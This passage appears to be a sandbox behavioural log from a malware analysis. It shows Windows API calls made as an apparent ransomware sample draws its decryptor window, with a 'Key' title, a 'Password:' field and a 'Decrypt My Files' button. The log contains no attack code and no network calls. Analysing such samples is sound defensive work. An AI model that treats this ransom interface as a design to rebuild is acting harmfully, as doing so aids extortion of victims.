nIndex=-4) returned 1876218976 [0156.940] GetDC (hWnd=0x0) returned 0x60100ce [0156.940] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19d904) returned 0x0 [0156.940] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0156.940] GdipGetLogFontW (font=0x6911c80, graphics=0x691e928, logfontW=0xeeaba8) returned 0x0 [0156.940] CoTaskMemFree (pv=0xeeaba8) [0156.940] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0156.940] CoTaskMemFree (pv=0xeead48) [0156.940] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0156.940] CoTaskMemFree (pv=0xeeb088) [0156.940] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0156.941] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0156.941] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0156.941] CreateFontIndirectW (lplf=0xeeb088) returned 0x90a0735 [0156.941] CoTaskMemFree (pv=0xeeb088) [0156.941] SendMessageW (hWnd=0x10250, Msg=0x30, wParam=0x90a0735, lParam=0x0) returned 0x1 [0156.941] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x30, wParam=0x90a0735, lParam=0x0) returned 0x1 [0156.942] SendMessageW (hWnd=0x10250, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0156.942] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0156.942] SendMessageW (hWnd=0x10250, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0156.942] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0156.942] SendMessageW (hWnd=0x10250, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0156.942] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0156.942] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x5, wParam=0x0, lParam=0x1201b3) returned 0x0 [0156.942] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x3, wParam=0x0, lParam=0x660077) returned 0x0 [0156.942] GetClientRect (in: hWnd=0x10250, lpRect=0x19db00 | out: lpRect=0x19db00) returned 1 [0156.942] GetWindowRect (in: hWnd=0x10250, lpRect=0x19db00 | out: lpRect=0x19db00) returned 1 [0156.942] GetParent (hWnd=0x10250) returned 0x10246 [0156.943] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10246, lpPoints=0x19db00, cPoints=0x2 | out: lpPoints=0x19db00) returned -16646646 [0156.943] SendMessageW (hWnd=0x10250, Msg=0x2210, wParam=0x2500001, lParam=0x10250) returned 0x0 [0156.943] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x2210, wParam=0x2500001, lParam=0x10250) returned 0x0 [0156.943] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.943] GetParent (hWnd=0x10250) returned 0x10246 [0156.943] GetCurrentActCtx (in: lphActCtx=0x19e3ec | out: lphActCtx=0x19e3ec*=0xef1264) returned 1 [0156.943] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.944] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.944] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Password:", dwStyle=0x5600000d, X=178, Y=9, nWidth=251, nHeight=63, hWndParent=0x10246, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10252 [0156.944] SetWindowLongW (hWnd=0x10252, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0156.944] GetWindowLongW (hWnd=0x10252, nIndex=-4) returned 1876339648 [0156.945] SetWindowTextW (hWnd=0x10252, lpString="Password:") returned 1 [0156.945] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xc, wParam=0x0, lParam=0x300783c) returned 0x1 [0156.946] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x5, wParam=0x0, lParam=0x3f00fb) returned 0x0 [0156.946] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x3, wParam=0x0, lParam=0x900b2) returned 0x0 [0156.946] GetClientRect (in: hWnd=0x10252, lpRect=0x19db14 | out: lpRect=0x19db14) returned 1 [0156.946] GetWindowRect (in: hWnd=0x10252, lpRect=0x19db14 | out: lpRect=0x19db14) returned 1 [0156.946] GetParent (hWnd=0x10252) returned 0x10246 [0156.946] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10246, lpPoints=0x19db14, cPoints=0x2 | out: lpPoints=0x19db14) returned -16646646 [0156.946] SendMessageW (hWnd=0x10252, Msg=0x2210, wParam=0x2520001, lParam=0x10252) returned 0x0 [0156.946] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x2210, wParam=0x2520001, lParam=0x10252) returned 0x0 [0156.946] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.946] GetParent (hWnd=0x10252) returned 0x10246 [0156.946] GetCurrentActCtx (in: lphActCtx=0x19e3ec | out: lphActCtx=0x19e3ec*=0xef1264) returned 1 [0156.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.947] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.947] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Decrypt My Files", dwStyle=0x5e01000b, X=87, Y=148, nWidth=467, nHeight=42, hWndParent=0x10246, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10254 [0156.947] SetWindowLongW (hWnd=0x10254, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0156.948] GetWindowLongW (hWnd=0x10254, nIndex=-4) returned 1876224000 [0156.949] SetWindowTextW (hWnd=0x10254, lpString="Decrypt My Files") returned 1 [0156.949] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0xc, wParam=0x0, lParam=0x3007b50) returned 0x1 [0156.949] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x5, wParam=0x0, lParam=0x2a01d3) returned 0x0 [0156.950] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x3, wParam=0x0, lParam=0x940057) returned 0x0 [0156.950] GetClientRect (in: hWnd=0x10254, lpRect=0x19db08 | out: lpRect=0x19db08) returned 1 [0156.950] GetWindowRect (in: hWnd=0x10254, lpRect=0x19db08 | out: lpRect=0x19db08) returned 1 [0156.950] GetParent (hWnd=0x10254) returned 0x10246 [0156.950] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10246, lpPoints=0x19db08, cPoints=0x2 | out: lpPoints=0x19db08) returned -16646646 [0156.950] SendMessageW (hWnd=0x10254, Msg=0x2210, wParam=0x2540001, lParam=0x10254) returned 0x0 [0156.950] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x2210, wParam=0x2540001, lParam=0x10254) returned 0x0 [0156.950] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.950] GetParent (hWnd=0x10254) returned 0x10246 [0156.950] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x19e400 | out: lpdwProcessId=0x19e400) returned 0x390 [0156.950] GetCurrentThreadId () returned 0x390 [0156.950] PostMessageW (hWnd=0x10246, Msg=0xc172, wParam=0x0, lParam=0x0) returned 1 [0156.950] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0156.950] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0156.950] GetSystemMetrics (nIndex=42) returned 0 [0156.951] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e384, nMaxCount=4 | out: lpString="Key") returned 3 [0156.951] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e384) returned 0x3 [0156.951] GdipImageGetFrameDimensionsCount (image=0x6915b28, count=0x19e354) returned 0x0 [0156.951] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xf6d520 [0156.951] GdipImageGetFrameDimensionsList (image=0x6915b28, dimensionIDs=0xf6d520*(Data1=0x8ef08ee, Data2=0x8f0, Data3=0x8f1, Data4=([0]=0x6e, [1]=0x0, [2]=0x61, [3]=0x0, [4]=0x6d, [5]=0x0, [6]=0x65, [7]=0x0)), count=0x1) returned 0x0 [0156.951] LocalFree (hMem=0xf6d520) returned 0x0 [0156.951] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0156.951] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.951] GetSystemMetrics (nIndex=42) returned 0 [0156.951] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e358, nMaxCount=1 | out: lpString="") returned 0 [0156.951] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e358) returned 0x0 [0156.951] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x46, wParam=0x0, lParam=0x19e814) returned 0x0 [0156.951] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0156.952] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e55c | out: lpwndpl=0x19e55c) returned 1 [0156.952] GetClientRect (in: hWnd=0x10246, lpRect=0x19e508 | out: lpRect=0x19e508) returned 1 [0156.952] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0156.952] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0156.952] GetSystemMetrics (nIndex=42) returned 0 [0156.952] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e3d8, nMaxCount=4 | out: lpString="Key") returned 3 [0156.952] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e3d8) returned 0x3 [0156.952] GetClientRect (in: hWnd=0x10246, lpRect=0x19e410 | out: lpRect=0x19e410) returned 1 [0156.952] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0156.952] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0156.952] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0156.952] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0156.954] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0156.954] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0156.954] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0156.954] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0156.954] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0156.954] SaveDC (hdc=0x60100ce) returned 1 [0156.954] GetNearestColor (hdc=0x60100ce, color=0xcc7a00) returned 0xcc7a00 [0156.954] CreateSolidBrush (color=0xcc7a00) returned 0x30100628 [0156.954] FillRect (hDC=0x60100ce, lprc=0x19e2c4, hbr=0x30100628) returned 1 [0156.954] DeleteObject (ho=0x30100628) returned 1 [0156.954] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0156.955] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0156.955] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0156.955] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0156.955] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0156.955] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0156.955] GetStockObject (i=5) returned 0x900015 [0156.955] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e540 | out: lpwndpl=0x19e540) returned 1 [0156.956] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x47, wParam=0x0, lParam=0x19e814) returned 0x0 [0156.956] GetClientRect (in: hWnd=0x10246, lpRect=0x19e4f0 | out: lpRect=0x19e4f0) returned 1 [0156.956] GetWindowRect (in: hWnd=0x10246, lpRect=0x19e4f0 | out: lpRect=0x19e4f0) returned 1 [0156.956] GetParent (hWnd=0x10246) returned 0x10248 [0156.956] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e4f0, cPoints=0x2 | out: lpPoints=0x19e4f0) returned -16646646 [0156.956] GetParent (hWnd=0x10246) returned 0x10248 [0156.956] GetWindow (hWnd=0x10246, uCmd=0x3) returned 0x0 [0156.956] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x19e8a0 | out: lpdwProcessId=0x19e8a0) returned 0x390 [0156.956] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0156.956] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0156.956] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0156.956] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.956] GetSystemMetrics (nIndex=42) returned 0 [0156.956] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e82c, nMaxCount=1 | out: lpString="") returned 0 [0156.956] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e82c) returned 0x0 [0156.956] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0156.956] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0156.956] GetSystemMetrics (nIndex=42) returned 0 [0156.956] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0156.956] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0156.957] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0156.957] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.957] GetSystemMetrics (nIndex=42) returned 0 [0156.957] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0156.957] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0156.957] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0156.957] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.957] GetSystemMetrics (nIndex=42) returned 0 [0156.957] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0156.957] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0156.957] GetWindowTextLengthW (hWnd=0x30212) returned 14 [0156.957] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0156.957] GetSystemMetrics (nIndex=42) returned 0 [0156.957] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=15 | out: lpString="Open Decryptor") returned 14 [0156.957] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0xf, lParam=0x19e8f8) returned 0xe [0156.957] SetWindowTextW (hWnd=0x30212, lpString="Close Decryptor") returned 1 [0156.957] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x301485c) returned 0x1 [0156.957] GetStockObject (i=5) returned 0x900015 [0156.958] GetStockObject (i=5) returned 0x900015 [0156.958] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0156.958] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0156.958] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0156.958] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0156.958] GetCapture () returned 0x30212 [0156.958] ReleaseCapture () returned 1 [0156.958] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0156.958] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.958] IsWindowUnicode (hWnd=0x10246) returned 1 [0156.959] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.959] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.959] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.959] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.959] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.959] IsWindowUnicode (hWnd=0x30212) returned 1 [0156.959] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.959] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.959] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.959] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.960] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.960] IsWindowUnicode (hWnd=0x30212) returned 1 [0156.960] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.960] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.960] SetCursor (hCursor=0x10003) returned 0x10003 [0156.960] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.960] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.960] GetKeyState (nVirtKey=1) returned 1 [0156.960] GetKeyState (nVirtKey=2) returned 0 [0156.960] GetKeyState (nVirtKey=4) returned 0 [0156.960] GetKeyState (nVirtKey=5) returned 0 [0156.960] GetKeyState (nVirtKey=6) returned 0 [0156.960] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.961] IsWindowUnicode (hWnd=0x10248) returned 1 [0156.961] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.961] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.961] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.961] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.963] IsWindowUnicode (hWnd=0x10248) returned 1 [0156.963] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.963] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.963] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.963] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.963] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.963] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.964] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.964] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.964] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.964] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.964] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.964] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.964] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.965] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.965] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.965] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.965] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.965] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.965] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.966] IsWindowUnicode (hWnd=0x10248) returned 1 [0156.966] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.966] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.966] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.967] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.967] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.967] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.967] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.967] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.967] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.967] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.967] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.967] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.967] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.967] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.967] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.967] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.968] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.968] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.968] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.968] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.968] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.968] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.968] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.969] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.969] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.969] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.969] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.969] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.972] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.972] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.972] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.972] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.972] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.972] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.972] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.972] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.973] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.973] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.973] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.973] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.973] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.973] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.973] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.973] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.973] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.973] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.974] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.974] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.974] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.974] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.974] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.974] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.974] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.974] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.975] IsWindowUnicode (hWnd=0x10248) returned 